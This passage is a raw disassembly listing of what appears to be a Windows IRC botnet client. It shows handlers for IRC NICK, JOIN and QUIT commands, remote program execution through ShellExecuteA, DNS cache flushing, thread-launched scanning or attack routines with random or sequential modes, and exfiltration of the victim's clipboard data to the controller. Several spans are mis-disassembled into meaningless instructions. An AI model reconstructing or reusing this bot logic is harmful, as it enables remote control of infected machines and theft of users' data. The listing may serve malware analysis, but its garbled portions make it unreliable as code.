		push	dword ptr [ebp-0A0h]
		push	offset dword_42B290
		push	eax
		call	sub_41050B
		lea	eax, [ebp-2E4h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_411D00
		push	esi
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42B000
		push	eax
		call	sub_41050B
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_40DED4
; ---------------------------------------------------------------------------


loc_40CE46:				; CODE XREF: seg000:0040CDEEj
		lea	eax, [ebp-2E4h]
		push	offset dword_42AFBC
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx
		jmp	loc_40DED4
; ---------------------------------------------------------------------------


loc_40CE5E:				; CODE XREF: seg000:0040CDDDj
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_407C50
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		push	edi
		push	offset dword_42AF90
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_410A8A
		add	esp, 24h
		jmp	loc_40DED4
; ---------------------------------------------------------------------------


loc_40CEA5:				; CODE XREF: seg000:0040A9F1j
					; seg000:0040AA08j
		push	offset aR	; "r"
		push	edi
		call	sub_411B4E
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40CF1F
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		call	sub_41269C
		add	esp, 0Ch


loc_40CECE:				; CODE XREF: seg000:0040CEFDj
		test	eax, eax
		jz	short loc_40CEFF
		push	1
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		push	esi
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		call	sub_41269C
		add	esp, 20h
		jmp	short loc_40CECE
; ---------------------------------------------------------------------------


loc_40CEFF:				; CODE XREF: seg000:0040CED0j
		push	esi
		call	sub_4119F0
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42AF54
		push	eax
		call	sub_41050B
		add	esp, 10h
		jmp	loc_40DED4	; CODE XREF: seg000:0040CF95j
; ---------------------------------------------------------------------------


loc_40CF1F:				; CODE XREF: seg000:0040CEB6j
		push	edi
		push	offset dword_42AF20


loc_40CF25:				; CODE XREF: seg000:0040B3C5j
					; seg000:0040C510j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		jmp	loc_40D0B5
; ---------------------------------------------------------------------------


loc_40CF39:				; CODE XREF: seg000:0040A9C3j
					; seg000:0040A9DAj
		cmp	[ebp-0Ch], ebx
		jz	loc_40E148
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40E148
		push	eax
		call	sub_406F91
		test	eax, eax
		pop	ecx
		jnz	short loc_40CF6A
		push	offset unk_42AEF0
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40CF6A:				; CODE XREF: seg000:0040CF5Ej
		push	offset dword_42AEC0
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40CF74:				; CODE XREF: seg000:0040A995j
					; seg000:0040A9ACj
		push	ebx
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_404134
		push	edi
		push	offset dword_42AE98
		jmp	loc_40CB2A
; ---------------------------------------------------------------------------


loc_40CF8F:				; CODE XREF: seg000:0040A967j
					; seg000:0040A97Ej
		push	edi
		call	near ptr 3D0000h
		jb	short near ptr loc_40CF1A+2
		sal	byte ptr [eax+ecx+57h],	68h
		push	0EB0042AEh
		or	ebp, [eax-8]
		mov	bl, 42h
		add	al, ch
		and	[edi-72AF0001h], bl
		test	ds:68FFFFh[edi*8], ebx
		add	al, [eax]
		add	[eax-18h], dl
		int	3		; Trap to Debugger
		cmp	al, [eax]
		add	[ebx-0F16EF3Ch], al
		clc
; ---------------------------------------------------------------------------
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_40CFC6:				; CODE XREF: seg000:0040A939j
					; seg000:0040A950j
		push	edi
		call	sub_410A7F
		push	eax
		call	sub_40F67C
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_40CFE3
		push	offset dword_42AE30
		jmp	short loc_40CFE8
; ---------------------------------------------------------------------------


loc_40CFE3:				; CODE XREF: seg000:0040CFDAj
		push	offset dword_42ADE8


loc_40CFE8:				; CODE XREF: seg000:0040CFE1j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_40C680
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h
		jmp	loc_40C680
; ---------------------------------------------------------------------------


loc_40D021:				; CODE XREF: seg000:0040A90Bj
					; seg000:0040A922j
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	loc_40F3ED
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_40D043
		push	offset dword_42ADB0
		jmp	loc_40C892
; ---------------------------------------------------------------------------


loc_40D043:				; CODE XREF: seg000:0040D037j
		push	offset dword_42AD6C
		jmp	loc_40C892
; ---------------------------------------------------------------------------


loc_40D04D:				; CODE XREF: seg000:0040A8DDj
					; seg000:0040A8F4j
		push	edi
		call	ds:dword_4307D0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_40D087
		push	2
		lea	eax, [ebp+8]
		push	4
		push	eax
		call	ds:dword_430750	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40D0A2
		push	dword ptr [eax]


loc_40D070:				; CODE XREF: seg000:0040D0A0j
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42AD3C
		push	eax
		call	sub_41050B
		add	esp, 10h
		jmp	short loc_40D0B5
; ---------------------------------------------------------------------------


loc_40D087:				; CODE XREF: seg000:0040D05Aj
		push	edi
		call	ds:dword_430814	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40D0A2
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		jmp	short loc_40D070
; ---------------------------------------------------------------------------


loc_40D0A2:				; CODE XREF: seg000:0040D06Cj
					; seg000:0040D090j
		push	offset dword_42AD00


loc_40D0A7:				; CODE XREF: seg000:0040AA3Aj
					; seg000:0040AABEj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx


loc_40D0B5:				; CODE XREF: seg000:0040AA42j
					; seg000:0040AA9Cj ...
		cmp	[ebp-8], ebx
		jnz	loc_40DED4
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h
		jmp	loc_40DED4
; ---------------------------------------------------------------------------


loc_40D0DF:				; CODE XREF: seg000:0040A8AFj
					; seg000:0040A8C6j
		push	7Fh
		push	edi
		push	dword ptr [ebp+1Ch]
		call	sub_411D00
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42ACC8
		push	eax
		call	sub_41050B
		add	esp, 18h
		jmp	loc_40C65C
; ---------------------------------------------------------------------------


loc_40D104:				; CODE XREF: seg000:0040A881j
					; seg000:loc_40A898j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_430714	; ShellExecuteA
		test	eax, eax
		push	edi
		jz	short loc_40D124
		push	offset unk_42AC98
		jmp	loc_40C892
; ---------------------------------------------------------------------------


loc_40D124:				; CODE XREF: seg000:0040D118j
		push	offset unk_42AC60
		jmp	loc_40C892
; ---------------------------------------------------------------------------


loc_40D12E:				; CODE XREF: seg000:0040A853j
					; seg000:0040A86Aj
		mov	al, [edi]
		mov	ds:byte_42300C,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_42AC28
		jmp	loc_40E0C5
; ---------------------------------------------------------------------------


loc_40D143:				; CODE XREF: seg000:0040A825j
					; seg000:0040A83Cj
		push	edi
		call	sub_410A7F
		test	eax, eax
		pop	ecx
		jle	loc_40E148
		push	edi
		call	sub_410A7F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40E148
		push	ebx
		push	ebx
		lea	eax, [ebp-20h]
		push	2
		push	eax
		call	sub_40FA4E
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42B1D0
		push	eax
		call	sub_41050B
		add	esp, 1Ch
		jmp	loc_40CA77
; ---------------------------------------------------------------------------


loc_40D18B:				; CODE XREF: seg000:0040A7F7j
					; seg000:0040A80Ej
		push	edi
		call	sub_410A7F
		test	eax, eax
		pop	ecx
		jle	loc_40980B
		push	edi
		call	sub_410A7F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40980B
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4358E4[eax]
		call	sub_40E321
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_41C058	; Sleep
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4358E4[eax]
		call	ds:dword_430828	; closesocket
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4358EC[eax]
		call	near ptr 3D0000h
		in	al, 57h
		call	sub_410A7F
		imul	eax, 234h
		push	edi
		mov	ds:dword_4358EC[eax], ebx
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_4356D8[eax], bl
		jmp	loc_40980B
; ---------------------------------------------------------------------------


loc_40D236:				; CODE XREF: seg000:0040A7C9j
					; seg000:0040A7E0j
		push	edi
		push	offset aAll	; "all"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D265
		call	sub_410180
		cmp	eax, ebx
		jle	short loc_40D25B
		push	eax
		push	offset dword_42ABD8
		jmp	loc_40B432
; ---------------------------------------------------------------------------


loc_40D25B:				; CODE XREF: seg000:0040D24Ej
		push	offset dword_42AB9C
		jmp	loc_40D67E
; ---------------------------------------------------------------------------


loc_40D265:				; CODE XREF: seg000:0040D245j
		mov	eax, [ebp-0ACh]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40980B
		lea	eax, [ebp+edi*4-0A0h]
		mov	[ebp+2Ch], eax


loc_40D281:				; CODE XREF: seg000:0040D2F2j
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40980B
		push	esi
		call	sub_410A7F
		push	eax
		call	sub_4100F2
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40D2A8
		push	offset dword_42AB64
		jmp	short loc_40D2AD
; ---------------------------------------------------------------------------


loc_40D2A8:				; CODE XREF: seg000:0040D29Fj
		push	offset dword_42AB24


loc_40D2AD:				; CODE XREF: seg000:0040D2A6j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40D2DD
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h


loc_40D2DD:				; CODE XREF: seg000:0040D2BFj
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407E0E
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40D281
		jmp	loc_40980B
; ---------------------------------------------------------------------------


loc_40D2F9:				; CODE XREF: seg000:0040A79Bj
					; seg000:0040A7B2j
		cmp	[ebp-0Ch], ebx
		jz	loc_40E148
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40E148
		push	esi
		push	offset dword_41EE48
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	esi
		push	offset dword_42AAF8
		jmp	short loc_40D377
; ---------------------------------------------------------------------------


loc_40D32D:				; CODE XREF: seg000:0040A76Dj
					; seg000:0040A784j
		push	edi
		push	offset dword_42B0F0
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	edi
		push	offset dword_42AAC4
		jmp	short loc_40D377
; ---------------------------------------------------------------------------


loc_40D343:				; CODE XREF: seg000:0040A73Fj
					; seg000:0040A756j
		push	dword ptr [ebp+esi-98h]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	edi
		push	offset dword_42AA90
		jmp	loc_40CB2A
; ---------------------------------------------------------------------------


loc_40D363:				; CODE XREF: seg000:0040A711j
					; seg000:0040A728j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	edi
		push	offset dword_42AA58


loc_40D377:				; CODE XREF: seg000:0040CC53j
					; seg000:0040D32Bj ...
		call	sub_407E82


loc_40D37C:				; CODE XREF: seg000:0040CCB9j
		add	esp, 14h
		jmp	loc_40E148
; ---------------------------------------------------------------------------


loc_40D384:				; CODE XREF: seg000:0040A6D6j
					; seg000:0040A6EBj
		mov	al, ds:byte_420082
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_420082
		jz	loc_40980B
		mov	ecx, edx


loc_40D39B:				; CODE XREF: seg000:0040D3A3j
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40D39B
		cmp	al, bl
		jz	loc_40980B
		mov	[ebp+20h], edx


loc_40D3B0:				; CODE XREF: seg000:0040D66Ej
		push	8
		call	sub_4101FF
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_40D3FF
		push	ecx
		lea	eax, [ebp-2E4h]
		push	offset dword_42B9FC
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 20h
		jmp	loc_40D665
; ---------------------------------------------------------------------------


loc_40D3FF:				; CODE XREF: seg000:0040D3CAj
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_41FFE8, ebx
		mov	dword ptr [ebp-304h], 64h
		mov	dword ptr [ebp-318h], 5
		mov	dword ptr [ebp-314h], 1F4h
		mov	[ebp+8], ebx
		jz	short loc_40D470
		mov	eax, [ebp+20h]
		mov	edi, offset dword_41FFE8
		lea	esi, [eax-0Ah]


loc_40D43A:				; CODE XREF: seg000:0040D452j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D456
		inc	dword ptr [ebp+8]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_40D43A
		jmp	short loc_40D470
; ---------------------------------------------------------------------------


loc_40D456:				; CODE XREF: seg000:0040D448j
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_41FFE8[ecx]
		mov	[ebp-31Ch], ecx


loc_40D470:				; CODE XREF: seg000:0040D42Dj
					; seg000:0040D454j
		cmp	[ebp-31Ch], ebx
		jz	loc_40D679
		push	10h
		lea	eax, [ebp+18h]
		pop	esi
		push	eax
		lea	eax, [ebp-0D8h]
		push	eax
		mov	[ebp+18h], esi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43073C	; getsockname
		mov	al, [ebp-9B3h]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-0D4h], eax
		push	dword ptr [ebp-0D4h]
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_411D00
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_412000
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_40D512


loc_40D4F0:				; CODE XREF: seg000:0040D510j
		cmp	eax, ebx
		jz	short loc_40D512
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_412000
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40D4F0


loc_40D512:				; CODE XREF: seg000:0040D4EEj
					; seg000:0040D4F2j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-98h]
		mov	esi, [ebp-4]
		mov	[ebp-320h], eax
		mov	eax, [ebp-8]
		mov	edi, 80h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		mov	dword ptr [ebp-2F0h], 1
		mov	[ebp-2F8h], esi
		call	sub_410A8A
		push	offset dword_42F3E8
		push	offset dword_4230B4
		call	sub_410930
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D57C
		push	offset dword_4230B4
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_410A8A
		add	esp, 0Ch
		jmp	short loc_40D582
; ---------------------------------------------------------------------------


loc_40D57C:				; CODE XREF: seg000:0040D563j
		mov	[ebp-3A0h], bl


loc_40D582:				; CODE XREF: seg000:0040D57Aj
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40D594
		mov	eax, offset aSequential	; "Sequential"


loc_40D594:				; CODE XREF: seg000:0040D58Dj
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42A9DC
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	8
		push	eax
		call	sub_40FFB7
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	405723h
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40D61E


loc_40D60C:				; CODE XREF: seg000:0040D61Cj
		cmp	[ebp-2ECh], ebx
		jnz	short loc_40D639
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40D60C
; ---------------------------------------------------------------------------


loc_40D61E:				; CODE XREF: seg000:0040D60Aj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42B8D8
		push	eax
		call	sub_41050B
		add	esp, 0Ch


loc_40D639:				; CODE XREF: seg000:0040D612j
		cmp	[ebp-8], ebx
		jnz	short loc_40D658
		push	ebx
		lea	eax, [ebp-2E4h]
		push	esi
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h


loc_40D658:				; CODE XREF: seg000:0040D63Cj
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407E0E
		pop	ecx


loc_40D665:				; CODE XREF: seg000:0040D3FAj
		add	dword ptr [ebp+20h], 0Bh
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jnz	loc_40D3B0
		jmp	loc_40980B
; ---------------------------------------------------------------------------


loc_40D679:				; CODE XREF: seg000:0040BACAj
					; seg000:0040D476j
		push	offset dword_42A990


loc_40D67E:				; CODE XREF: seg000:0040B62Dj
					; seg000:0040B75Dj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx
		jmp	loc_40B441
; ---------------------------------------------------------------------------


loc_40D691:				; CODE XREF: seg000:0040A6ACj
					; seg000:0040A6C1j
		push	4
		call	sub_4101FF
		test	eax, eax
		pop	ecx
		jle	short loc_40D6B5
		lea	eax, [ebp-2E4h]
		push	offset unk_42A95C
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx
		jmp	loc_40C65C
; ---------------------------------------------------------------------------


loc_40D6B5:				; CODE XREF: seg000:0040D69Bj
		mov	eax, [ebp+esi-9Ch]
		cmp	eax, ebx
		jz	short loc_40D6D8
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		call	sub_410A8A
		add	esp, 0Ch
		jmp	short loc_40D6EC
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: seg000:0040D6BEj
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 3D0000h
		push	es


loc_40D6EC:				; CODE XREF: seg000:0040D6D6j
		mov	esi, [ebp+esi-98h]
		cmp	esi, ebx
		jnz	short loc_40D6FC
		mov	esi, offset byte_423068


loc_40D6FC:				; CODE XREF: seg000:0040D6F5j
		push	esi
		lea	eax, [ebp-700h]
		push	edi
		push	eax
		call	sub_410A8A
		mov	eax, ds:dword_422FF8
		push	7Fh
		push	dword ptr [ebp-98h]
		mov	[ebp-5F4h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-5F8h], ebx
		mov	[ebp-808h], eax
		lea	eax, [ebp-5F0h]
		push	eax
		call	sub_411D00
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-700h]
		push	eax
		lea	eax, [ebp-804h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-5F4h]
		push	offset unk_4202D4
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	4
		push	eax
		call	sub_40FFB7
		add	esp, 38h
		mov	[ebp-5FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-808h]
		push	ebx
		push	eax
		push	offset loc_4049C2
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-5FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40D7CC


loc_40D7B6:				; CODE XREF: seg000:0040D7CAj
		cmp	[ebp-568h], ebx
		jnz	loc_40C65C
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40D7B6
; ---------------------------------------------------------------------------


loc_40D7CC:				; CODE XREF: seg000:0040D7B4j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A910
		jmp	loc_40E0C5
; ---------------------------------------------------------------------------


loc_40D7DD:				; CODE XREF: seg000:0040A682j
					; seg000:0040A697j
		mov	edi, [ebp+esi-9Ch]
		cmp	edi, ebx
		jz	short loc_40D7FC
		push	edi
		call	sub_410A7F
		test	eax, eax
		pop	ecx
		jz	short loc_40D7FC
		push	edi
		call	sub_410A7F
		pop	ecx
		jmp	short loc_40D801
; ---------------------------------------------------------------------------


loc_40D7FC:				; CODE XREF: seg000:0040D7E6j
					; seg000:0040D7F1j
		mov	eax, ds:dword_422FFC


loc_40D801:				; CODE XREF: seg000:0040D7FAj
		mov	esi, [ebp+esi-98h]
		mov	[ebp-584h], eax
		xor	eax, eax
		cmp	[ebp-9B0h], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-570h], eax
		jz	short loc_40D834
		lea	eax, [ebp-688h]
		push	esi
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx
		jmp	short loc_40D85F
; ---------------------------------------------------------------------------


loc_40D834:				; CODE XREF: seg000:0040D821j
		lea	eax, [ebp-3E8h]
		push	104h
		push	eax
		call	near ptr 3D0000h
		and	edx, [ebx+53h]
		lea	eax, [ebp-0D4h]
		push	ebx
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		call	sub_4121E8
		add	esp, 14h


loc_40D85F:				; CODE XREF: seg000:0040D832j
		lea	eax, [ebp-688h]
		push	eax
		call	sub_410B60
		cmp	byte ptr [ebp+eax-689h], 5Ch
		pop	ecx
		jnz	short loc_40D88A
		lea	eax, [ebp-688h]
		push	eax
		call	sub_410B60
		pop	ecx
		mov	[ebp+eax-689h],	bl


loc_40D88A:				; CODE XREF: seg000:0040D874j
		push	dword ptr [ebp-98h]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-910h]
		mov	[ebp-914h], esi
		push	80h
		push	eax
		call	sub_410A8A
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-688h]
		mov	[ebp-578h], edi
		push	eax
		push	dword ptr [ebp-584h]
		push	esi
		call	sub_407435
		pop	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_4201A4
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	3
		push	eax
		call	sub_40FFB7
		add	esp, 20h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-914h]
		push	ebx
		push	eax
		push	offset sub_4038A7
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-57Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40D93E


loc_40D92C:				; CODE XREF: seg000:0040D93Cj
		cmp	[ebp-568h], ebx
		jnz	short loc_40D959
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40D92C
; ---------------------------------------------------------------------------


loc_40D93E:				; CODE XREF: seg000:0040D92Aj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A8C4


loc_40D94A:				; CODE XREF: seg000:0040BFE7j
					; seg000:0040C0E1j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		add	esp, 0Ch


loc_40D959:				; CODE XREF: seg000:0040BFCBj
					; seg000:0040C0C5j ...
		cmp	[ebp-8], ebx
		jnz	loc_40B462
		push	ebx
		push	edi


loc_40D964:				; CODE XREF: seg000:0040B890j
		lea	eax, [ebp-2E4h]
		push	eax
		push	dword ptr [ebp-98h]
		push	esi
		jmp	loc_40B45A
; ---------------------------------------------------------------------------


loc_40D977:				; CODE XREF: seg000:0040A658j
					; seg000:0040A66Dj
		mov	esi, [ebp+esi-9Ch]
		cmp	esi, ebx
		jz	short loc_40D98A
		push	esi
		call	sub_410A7F
		jmp	short loc_40D991
; ---------------------------------------------------------------------------


loc_40D98A:				; CODE XREF: seg000:0040D980j
		push	8
		call	sub_41021E


loc_40D991:				; CODE XREF: seg000:0040D988j
		cmp	eax, ebx
		pop	ecx
		jz	loc_40E148
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_404F83
		jmp	loc_40DDE7
; ---------------------------------------------------------------------------


loc_40D9B1:				; CODE XREF: seg000:0040A62Ej
					; seg000:0040A643j
		mov	eax, ds:dword_4306CC
		cmp	eax, ebx
		jz	short loc_40D9CE
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_40D9C7
		push	offset unk_42A88C
		jmp	short loc_40D9EA
; ---------------------------------------------------------------------------


loc_40D9C7:				; CODE XREF: seg000:0040D9BEj
		push	offset unk_42A84C
		jmp	short loc_40D9EA
; ---------------------------------------------------------------------------


loc_40D9CE:				; CODE XREF: seg000:0040D9B8j
		push	offset unk_42A80C
		jmp	short loc_40D9EA
; ---------------------------------------------------------------------------


loc_40D9D5:				; CODE XREF: seg000:0040A604j
					; seg000:0040A619j
		call	sub_407357
		test	eax, eax
		jz	short loc_40D9E5
		push	offset unk_42A7D4
		jmp	short loc_40D9EA
; ---------------------------------------------------------------------------


loc_40D9E5:				; CODE XREF: seg000:0040D9DCj
		push	offset unk_42A794


loc_40D9EA:				; CODE XREF: seg000:0040D9C5j
					; seg000:0040D9CCj ...
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_410A8A
		jmp	loc_40C89E
; ---------------------------------------------------------------------------


loc_40DA00:				; CODE XREF: seg000:0040A5DAj
					; seg000:0040A5EFj
		cmp	[ebp-8], ebx
		jnz	short loc_40DA1F
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h


loc_40DA1F:				; CODE XREF: seg000:0040DA03j
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_406F56
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		push	offset dword_42A750
		jmp	loc_40DCB3
; ---------------------------------------------------------------------------


loc_40DA41:				; CODE XREF: seg000:0040A529j
					; seg000:0040A53Ej
		push	dword ptr [ebp-8]
